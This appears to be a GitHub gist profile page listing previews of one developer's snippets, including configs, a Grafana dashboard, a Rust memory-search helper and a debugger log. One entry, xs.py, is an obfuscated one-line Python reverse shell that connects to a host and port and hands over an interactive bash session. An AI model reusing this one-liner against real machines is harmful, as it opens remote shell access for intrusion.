Skip to content

Instantly share code, notes, and snippets.

View ii64's full-sized avatar
🏫
College Student

Maple ii64

🏫
College Student
View GitHub Profile
@ii64
ii64 / internet_tepat.go
Last active October 4, 2023 04:15
Internet Tepat logs your original URL and use your MSISDN for AD tracking.
package main
import (
"bytes"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"net/http/httputil"
@ii64
ii64 / MySQL Schema Growth-1692849650390.json
Last active August 28, 2023 02:41
Grafana Dashboard - MySQL Schema Growth - Prometheus - mysqld_exporter
{
"__inputs": [
{
"name": "DS_PROMETHEUS",
"label": "Prometheus",
"description": "",
"type": "datasource",
"pluginId": "prometheus",
"pluginName": "Prometheus"
}
@ii64
ii64 / docker-compose.yml
Created April 23, 2023 11:32
Unpopular docker compose YAML template
version: '3'
x-tpl-nginx-lb: &tpl-nginx-lb
image: nginx:stable-alpine
restart: unless-stopped
expose: [ 80 ]
entrypoint:
- sh
- -c
- |
@ii64
ii64 / xs.py
Last active April 6, 2023 08:40
one-line back-connect Python script
(lambda xx:({0:list(map(lambda i:[0,lambda x:xx.update({2:(x[1]('socket'),x[1]('os'),x[1]('subprocess'))}),lambda x:(x.update({3:x[2][0].socket(x[2][0].AF_INET,x[2][0].SOCK_STREAM)}),x[3].connect(x[4])),lambda x:(list(map(lambda i:x[2][1].dup2(x[3].fileno(),i),range(3))),x[3].send(x[5]),x[2][2].call(x[6]))][i](xx),range(1,5)))}))({6:['bash','-i'],5:b'connected',4:('127.0.0.1',1337),1:__import__})
@ii64
ii64 / acrordrc2020.pol
Created March 10, 2023 12:21 — forked from N0rbert/acrordrc2020.pol
PlayOnLinux script to install Adobe Acrobat Reader DC 2020 (should be lauched after installation using script for 2015)
#!/usr/bin/env playonlinux-bash
[ "$PLAYONLINUX" = "" ] && exit 0
source "$PLAYONLINUX/lib/sources"
TITLE="Adobe Acrobat Reader DC"
PREFIX="AdobeAcrobatReaderDC"
WINEVERSION="4.0.3"
EDITOR="Adobe Systems Inc."
GAME_URL="https://acrobat.adobe.com/us/en/products/pdf-reader.html"
@ii64
ii64 / keybase.md
Created February 13, 2023 03:47
keybase

Keybase proof

I hereby claim:

  • I am ii64 on github.
  • I am ii64 (https://keybase.io/ii64) on keybase.
  • I have a public key ASDZf67EWsyPst5UcKSqNqxIPEAzNv6CJwm5vs2bz7KBvAo

To claim this, I am signing this object:

@ii64
ii64 / memsearch.rs
Last active December 23, 2022 19:11
Rust proc self memory search iterator
use std::{fs::{File}, io::{BufReader, self, Read, Seek, ErrorKind, BufRead}, vec};
struct MemSearch<R>
where
R: Read
{
inner: R,
matches: Vec<Vec<u8>>,
addr: usize,
end_addr: Option<usize>,
@ii64
ii64 / .env
Created December 6, 2022 14:38
OBS access signer + Varnish Cache (+ CF CDN), while OBS itself also a CDN.
## obs-access-signer
#
HTTP_ADDR=0.0.0.0:9002
OBS_ENDPOINT=gateway.storjshare.io
OBS_BUCKET_NAME=mk-prod
OBS_SECURE=true
LOG_LEVEL=INFO
AWS_ACCESS_KEY=example-key
AWS_SECRET_KEY=example-pass
# AWS_SESSION_TOKEN
package main
import (
"fmt"
"os"
"syscall"
"unsafe"
)
func main() {
2022-10-04T04:26:32+07:00 error layer=dap recovered panic: runtime error: invalid memory address or nil pointer dereference
goroutine 34 [running]:
runtime/debug.Stack()
C:/Program Files/Go/src/runtime/debug/stack.go:24 +0x65
github.com/go-delve/delve/service/dap.(*Session).recoverPanic(0xc0003b2000, {0xfdcb20, 0xc0005ec660})
C:/Users/ii64/go/pkg/mod/github.com/go-delve/delve@v1.9.1/service/dap/server.go:557 +0x66
panic({0xe458c0, 0x1344520})
C:/Program Files/Go/src/runtime/panic.go:890 +0x262
github.com/go-delve/delve/service/dap.(*Session).onScopesRequest(0xc0003b2000, 0xc0005ec660)
C:/Users/ii64/go/pkg/mod/github.com/go-delve/delve@v1.9.1/service/dap/server.go:2017 +0x455